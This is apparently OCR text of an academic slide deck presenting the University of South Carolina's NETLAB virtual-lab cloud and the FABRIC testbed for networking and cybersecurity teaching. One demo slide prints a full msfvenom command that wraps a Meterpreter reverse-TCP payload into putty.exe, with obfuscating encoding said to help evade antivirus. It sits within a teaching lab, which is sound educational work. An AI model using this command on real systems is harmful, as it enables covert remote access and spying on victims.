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Agenda

* Motivation

« USC Cloud system (NETLAB)

* FABRIC testbed

» Leveraging NETLAB and FABRIC for education
* Access to the vLabs




Motivation for Virtual Labs and Academic Cloud

According to the IEEE and ACM?, the IT curriculum should emphasize “learning IT core
concepts with authentic practice” and “use of professional tools and platforms”
» “Itis not enough to simply attend courses and read books. Hands-on learning is essential...”

» Using physical laboratories has been challenging
» Difficult to scale

» Expensive (space, maintenance, staff)
» Since COVID-19 emerged, the capacity of labs has been further reduced (distance requirements)

1. Information Technology Curricula 2017, ACM/IEEE Joint Committee. Online: hitps://tinyurl.com/4nggwa5m.



https://tinyurl.com/4nqqwa5m

Motivation for Virtual Labs and Academic Cloud

* “The Missing Millions”(NSF report — Oct. 2021. hitps://tinyurl.com/5awhdazy)

« Areport on what can be done to reach out those who are yet to be engaged in STEM
workforce

15 focus groups, experts on research computing infrastructure

» “The present research computing and data ecosystems look impenetrable to many of those not yet
engaged...”

» “Lower barriers to entry, but build up the controls at the same time”

» “Invest in cyberinfrastructure and community laboratories at the edge, enabling broader and more
diverse participation in science and engineering”

“Explore investments in research computing and data infrastructure approaches that are easily
accessible (such as GUIs, science apps, and field tools)”

>



https://tinyurl.com/5awhdazy

Academic Cloud

« The University of South Carolina (USC) (SC), the Network Development Group (NDG)
(NC), and Stanly Community College (SCC) (NC) are deploying the Academic Cloud

« A system dedicated to teaching, training, and research
« The Academic Cloud provides remote-access capability to lab equipment via Internet

« |t seamlessly pools and shares resources (CPU, memory, storage) from four data
centers; resources are allocated to run virtual laboratories




Academic Cloud

« Data center locations: USC (South Carolina), SCC (North Carolina), NDG (IL), and
ldaho National Laboratory (ID)
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Inside a Data Center
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https://netdevgroup.com/

Inside a Data Center

« Example: Stanly Community College

Server 1 (management SCC) 20 12 264
Server 2 (hosting vLabs pods) 32 4 768
Server 3 (hosting vLabs pods) 32 4 768
Server 4 (hosting vLabs pods) 32 4 768
Server 5 (hosting vLabs pods) 32 4 768
Server 6 (hosting vLabs pods) 32 4 768
Server 7 (hosting vLabs pods) 48 1.92 768
Server 8 (hosting vLabs pods) 48 1.92 768
Server 9 (hosting vLabs pods) 48 1.92 768

TOTAL 324 37.76 6408




Libraries

3 Running tests on remote perfSONAR nodes

¢ A ||brary ConS|StS Of between 1 0-20 In this lab section, the user will utilize pScheduler commands to execute both throughput

. and latency tests. The tests will be initiated and submitted from the perfSONAR1 node
Ia b eXpe Il mentS (10.0.1.10), while the measurements themselves will take place between the perfSONAR2

. . (10.0.2.10) and perfSONAR3 (10.0.3.10) nodes.
° EaCh experl ment InCl Udes a Step 1. Hold the right click on perfSONAR1 and select Terminal. The perfSONAR1 CLI will
detailed, guided  step-by-step emerge.
manual - Miniedit |

File Edit Run Help

K o)
g “ perfSONAR2
= C
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Figure 8. Opening perfSONAR1 CLI.

Step 2. In perfSONAR1 terminal, type [ncl and press Enter to enable the CLI.




Pod Design — Example 1: Fully Virtual Pod

 Avirtual laboratory experiment requires a pod of devices, or simply pod

« Example: Cybersecurity Fundamentals

Pod for Cybersecurity Fundamentals Library

Internal network
BR/FW
1 1
. 1
Victim Attacker

192.168.0.0/24 216.0.0.0/16

Web DNS Mail
server server server

172.16.0.0/16

Cybersecurity Fundamentals Library

Lab Topic
1 Reconnaissance: Scanning with NMAP, Vulnerability Assessment with OpenVAS
2 Remote Access Trojan (RAT) using Reverse TCP Meterpreter
3 Escalating Privileges and Installing a Backdoor
4 |Collecting Information with Spyware: Screen Captures and Keyloggers
5 |Social Engineering Attack: Credentials Harvesting and Remote Access through Phishing Emails
6 SQL Injection Attack on a Web Application
7 |Cross-site Scripting (XSS) Attack on a Web Application
8 Denial of Service (DoS) Attacks: SYN/FIN/RST Flood, Smurf attack, and SlowLoris
9 Cryptographic Hashing and Symmetric Encryption
10 [Asymmetric Encryption: RSA, Digital Signatures, Diffie-Hellman
11 [Public Key Infrastructure: Certificate Authority, Digital Certificate
12 |Configuring a Stateful Packet Filter using iptables
13 [Online Dictionary Attack againsta Login Webpage
14 |Intrusion Detection and Prevention using Suricata
15 |Packet Sniffing and Relay Attack
16 [DNS Cache Poisoning
17 |Man in the Middle Attack using ARP Spoofing
18 |Understanding Buffer Overflow Attacks in a Vulnerable Application
19 |Conducting Offline Password Attacks

10




DEMO - Cloud System







Using the Cloud System

A Not secure | hitps://netlab2.cec.sc.edu

netlab2.cec.sc.edu

Cyberinfrastructure
Lab @ UofSC




Using the Cloud System

A Not secure | https://netlab2.cec.sc.edu/my-netlab-i.cgi

UNIVERSITY OF

SOUTH CAROLINA

9 Scheduled Lab Reservations

You have no scheduled lab reservations.

Select from the Schedule menu above to add reservations.

© New Lab Reservation v

A Home

Schedule ~

Manage ~

© Help

2 w

& jcrichigno «

14




Using the Cloud System

UNIVERSITY OF

SOUTH CAROLINA

Select Lab

A Introduction to P4 programmable data planes with BMv2

Lab Name

Lab 1: Introduction to Mininet

Exercise 1: Building a Basic Topology

Lab 2: Introduction to P4 and BMv2

Exercise 2: Compiling and Running a P4 Program

Lab 3: P4 Program Building Blocks

A Home

Search

& icrichigno ~

MyNETLAB > Schedule (Self) > Select Class (WASTC P4 Workshop 2022) > Select Content (Intro. to P4 Programmable Data Planes) >

Action

15




Using the Cloud System

3 Pod Scheduler

« H May- 2022- ) Selected Day Current Time

Sun Mon Tue Wed Thu Fri Sat May Wy,

1 2 3 4 5 6 7 S\
8 9 10 11 12 13 14 1 % J
15 16 17 18 19 20 21 “osatnes?

22 23 24 25 26 27 28 11:08

29 son 1 2 3 4 2022 Eastern Time (US & Canada)
P4v1_H1_5801 P4v1_H2_5802 P4v1_H1_5804 P4v1_H2_5805

RS e e S

10:00

11:00

12:00

13:00
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Using the Cloud System

A Not secure | https://netlab2.cec.sc.edu/my-netlab-i.cgi

UNIVERSITY OF

SOUTH CAROLINA

A Lab Reservations

© 3 hrs., 48 mins.

Showing 1to 1 of 1items

© New Lab Reservation v

ID Date/Time
162 1 2022-05-31 11:01 Class:
f# 2022-05-31 15:00 Lab

Type:
Enter Lab © User:

A Home

Description

P4 Tofino Training

: Lab1

Instructor

Jorge Crichigno

Schedule ~

g * ¢

Manage v @ Help & jcrichigno

Search

Pod

Tofino_H1_300

B S

17




Using the Cloud System

UNIVERSITY OF

SOUTH CAROLINA

MyNETLAB > Tofino_H1_300 > Reservation162 > Lab1

A Home

PYRGI LG & Content v | Status  >_ TofinoSwitch v+ O PC1 v OPC2 v O Tofino Model ~

Tofino Model
10.0.0.0/24

Tofino Switch
192.168.0.0/24

Pod ~

Reservation

& jcrichig

Time Rem

3

hrs.

4
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Using the Cloud System

< C' A Notsecure | hitps//netlab2.cec.sc.edu/lab.cgi © * B » 0O d

UNIVERSITY OF

S()UTH (MO]]N/\ # Home Pod v Reservation v & jcrichi

MyNETLAB > Tofino_H1_300 > Reservation162 > Lab 1 Time Re

fa] Topology & Content v |+ Status PEEJILGEIIC MM COPC1 v OPC2 v O Tofino Model ~ hrs.

*%*% NETLAB: CONNECTING
**%% NETLAB: CONNECTED

root@tofino-switch:~/bf-sde-9.6.0/build/p4-buildt |




Organization of Lab Manuals

Each lab starts with a section Overview
* Objectives
* Lab settings: passwords, device names
* Roadmap: organization of the lab
Section 1
« Background information (theory) of the topic being covered (e.g., match-action tables)
« Section 1 is optional (i.e., the reader can skip this section and move to lab directions)
Section 2... n
« Step-by-step directions

20




Virtual Labs

Information about lab libraries is available at https://research.cec.sc.edu/cyberinfra/cybertraining

Programmable data plane devices

1. P4-DPDK Security Traditional Protocols
2 Introduction to P4-DPDK 8. Software-defined Networking (SDN)
3. Cybersecurity Applications with P4 Programmable Data 9. Open vSwitch
Planes 10. Network Tools and Protocols
4. P4 Programmable Data Planes: Applications, Stateful 11. Introduction to IPv6
Elements, Custom Packet Processing 12. Open Shortest Path First (OSPF)

5. Introduction to P4 Programmable Data Plane Switches 13. Introduction to BGP

. MPLS and Advanced BGP

6. Introduction to P4 Programmable Data Plane Switches with 14
Intel’s Tofino

7. P4 Monitoring Applications
Cybersecurity, Management, and Science DMZs

15. Zeek IDS/IPS

16. Cybersecurity Fundamentals
17. perfSONAR 5

18. P4-perfSONAR

19. Network Management Tools

20. High-speed Networks: A Tutorial

Jorge Crichigno
Elie Kfoury
Elias Bou-Harb
Nasir Ghani

| High-Speed

High-Speed Networks: A Tutorial

Networks

ATutorial



https://highspeednetworks.net/
https://research.cec.sc.edu/cyberinfra/cybertraining

Demo — Collecting Information with Spyware Lab




© Not secure

LAB- - Google Chrome = O

bitps://10.173.78.50/1ab-content.cgi?res_id=31355&ex_id=JGOMEZ_0050_56AE_2F47_6305_5037_0004

o ket

Lab_4 Collecting_Information_with_Sp...

10 /33 -

e [a =8¢ specifies the architecture of the target victim, which is in this case.

e [-platform windows| specifies the platform of the target victim (e.g., Linux,
Android, Apple iOS, etc.). Since the victim is using a Windows 10 machine, the
specified platform is f¢zindows].

e [x putty.exel: specifies an executable file to attach the malicious payload to.
We will use putty], a popular program that allows the user to configure machines

via SSH and Telnet. Note that this program could be of any type (e.g., Notepad++,
Word application).

e [X: preserves the template behavior (putty.exe) and injects the payload
(reverse_tcp) as a new thread.

e [p windows/meterpreter/reverse tcp: specifies the payload to use, which is
in this case a reverse_tcp session.

e [LHOST=216.0.0.10]: specifies the IP address through which the attacker will
listen for reverse_tcp session connections. This is the IP address of the C2 server.

e [LPORT=4444] specifies the port number through which the attacker will listen for
a reverse_tcp session connections. This is the port number of the C2 server.

e [ x86/shikata ga nail| specifies the shellcode encoder to use (e.g., x64/xor,
cmd/perl, etc.). We are using the [86/shikata ga nai] encoder which uses a
polymorphic XOR additive feedback to ensure that the output is different every
time. This helps evading some weak Antivirus and Antimalware products.

e [-i 3] specify the number of times to encode the payload.

[[b_“\x007: specify the characters to avoid (i.e., bad characters). These are
characters known to make the shell or application crash.

e [E£ exel specify the output format (windows executable).

e [o puttyX.exe] save the payload to a file named puttyX.exe.

msfvenom -a x86 --platform windows -x putty.exe -k -p
windows/meterpreter/reverse tcp LHOST=216.0.0.10 LPORT=4444 -e
x86/shikata ga nai -i 3 -b “\x00” -f exe -o puttyX.exe

v [ NeTLas- X +
& C © Notsecure  R#ps://10.173.78.50/1ab.cgi x4 e O (H | e
M Gmai B YouTube @ Maps “ Special Topics in Int.. Q: Translate m rout  intel Build a Fast Networ. »
UNIVERSITY O1
#A Home Reservation ~

SOUTH CAROLINA

MyNETLAB > CyberSec_H1_12004 > Reservation 31355 > Lab 4: Collecting Information with Spyware: Screen Captures and

Keyloggers

[RCLLIGE & Content ~ | o7 Status O Victim ~

L] DNS server ~

O BR/FW ~ 0 Attacker ~ L Web server ~

0 Mail server ~

Internal network

S
Attacker

Victim

192.168.0.0/24 216.0.0.0/16

Web

Mail
server

DNS
server

172.16.0.0/16

server

Demo Cybersecurity Fundamentals, Lab 4: Collecting Information with Spyware

New Chrome available &

3O All Bookmarks

& ekfoury ~

Time Remaining
2 53

hrs. min.




USC's Local Usage
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Cybertraining on FABRIC




FABRIC Testbed

 FABRIC is an NSF-funded international infrastructure for at-scale experimentation
and research

* Areas include networking, cyber, distributed computing, storage, 5G, ML, etc.

* Equipment is located at commercial collocation spaces, U.S. national labs, and
campuses — 29 FABRIC sites

Seattle /,;:::E;iif%’ﬁf?iﬂ/\ of Amsterdam
. eeeeeee //{/////l;/”" Un|V'ers¢ty{§:|stol
> ) =
/,//%:e cityK zfayrf:ght N ,/ CERN
. 2 —__Kansas R
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Utah. [ L Ne .Y K y/{/ FIU
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Ga .ch. ®
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.g ® Atlanta
ucsD .
Dallas
FIU
® International Nodes International Links
® U.S. FABRIC Nodes 100G Core Terabit Core




Cybertraining on FABRIC

 FABRIC is a real network with physical propagation delays and high-speed links

« With its integrated JupyterHub, it can be ideal for cybertraining:

» P4 programmable switches/NICs

» High-speed networks (SDMZ)

» PerfSONAR

» Measurement and telemetry

» Cybersecurity (Zeek, Suricata, etc.)
> Etc.

SITE1

netl =

Sender

slice.add 12

SITE2

Step 3.7: Connecting sitel and site2

Create a site-to-site network between site1 and site2 connecting Sender and the P4 switch

SITE3

switch

27




Labs on P4 Programmable Data Planes over FABRIC

Virtual Labs on P4 Programmable Data Plane Switches (BMv2)

The labs provide a hands-on experience on P4 programmable data plane switches using the Behavioral Model version 2 (BMv2) software

switch. The lab series explains topics that include parsing, match-action tables, checksum verification, and others,

The lab series is developed by the Cyberinfrastructure Lab (ClLab) at the University of South Carolina (USC).

SITE1 SITE2 SITE3
E S
{ Qk :‘
S
serverl switch server2
Labs:

* Lab 1 - Creating a Slice with a P4 Switch: This lab describes how to create a slice with a P4 switch. It also shows how to deploy the high-
performance BMv2 switch to achieve up to ~1Gbps throughput.

* Lab 2 - P4 Program Building Blocks: This lab describes the building blocks and the general structure of a P4 program. It maps the
program's components to the Protocol-Independent Switching Architecture (PISA).

¢ Lab 3 - Parser Implementation: This lab describes how to define custom headers in a P4 program. It then explains how to implement a
simple parser that parses the defined headers.

¢ Lab 4 - Introduction to Match-action Tables: This lab describes match-action tables and how to define them in a P4 program. It then
explains the different types of matching that can be performed on keys.

¢ Lab 5 - Populating and Managing Match-action Tables at Runtime: This lab describes how to populate and manage match-action tables
at runtime. It then explains a tool (simple_switch_CLI) that is used with the software switch (BMv2) to manage the tables.

¢ Lab 6 - Checksum Recalculation and Packet Deparsing: This lab describes how to recompute the checksum of a header. Recomputing
the checksum is necessary if the packet header was modified by the P4 program. The lab also describes how a P4 program performs

deparsing to emit headers.

28




Queue Measurement Lab

« BMv2 software switch is running on StarLight

» Microseconds granularity

StarLight
\ UMich

Switch

GPN
&

® NC

hnsas City /

JUBY

UKY
Sender

L]
® MAX
Collector RENE{]
GaTech
& ‘Clemson

Atlanta

Princeton
@

Rutgers /UMass
@ (]

D

.: Receiver .New York
Washington

Queue Occupancy

384.21 us
288.21 us
305.4% us
389.79 us
382.94 us
386.61 us
375.84 us
5375.27 us
62615.75 us
132152.93 us
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FABRIC Node

 FABRIC nodes have the following:

» FPGA-based SmartNICs (P4-
programmable)

» P4 Tofino switches
» Offload NICs (NVIDIA ConnectX,
100Gbps)
« New SmartNICs will be added to
FABRIC
» NVIDIA/Mellanox Bluefield-2/3
> Intel IPU
» P4-programmable Xilinx FPGA
» Maybe others, if available.

Management Switch

I==11

FABRIC Node
Equipment

ON|GN|ONION

Head + Storage Server

E=

User-provisionable
Worker Servers

I:’ Administrative domain

Smart and Reconfigurable NICs

ol
(OpenFlow, P4, eBPF, OVS)

m; i o )

P4 or BYOE Switch

=l

=

100, 100+ G External
Connections

Dataplane Network Element
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<
we®
.t
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To Remote To Local Resources
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https://app.diagrams.net/?page-id=N71mBETvyvawWOnfYNR8&scale=auto#G1-GBmjds8M8v5qutHeZ2EL6y2mZIw7Za4

Access to the vLabs — Academic Cloud (USC)

 The lab libraries and their PDF contents can be found at:

https://tinyurl.com/cilab-cybertraining

 Platform link:

https://netlab.cec.sc.edu

 To obtain an account, send an email to choueiri@email.sc.edu
» Your full name, institution and role, email address
» Lab libraries of interest

« User guide on how to use the platform:

https://tinyurl.com/cilab-userguide

31




Access to the vLabs — FABRIC

« Sign-up for an account on FABRIC

https://tinyurl.com/fabric-account

* Create or enroll into a FABRIC project:

https://tinyurl.com/fabric-project

 If you are a professor, create a new project and assign your students to it

* Once you login into JupyterHub, you will see the P4 labs under the FABRIC-
examples provided for you

32




Contact Information

 Elie Kfoury
ekfoury@emalil.sc.edu

« Jorge Crichigno
jcrichigno@cec.sc.edu

* Jennifer Kim
IKim@internet2.edu

 Cl Lab Website
https://research.cec.sc.edu/cyberinfra/

7500\

UNIVERSITY OF

SOUTH CAROLINA
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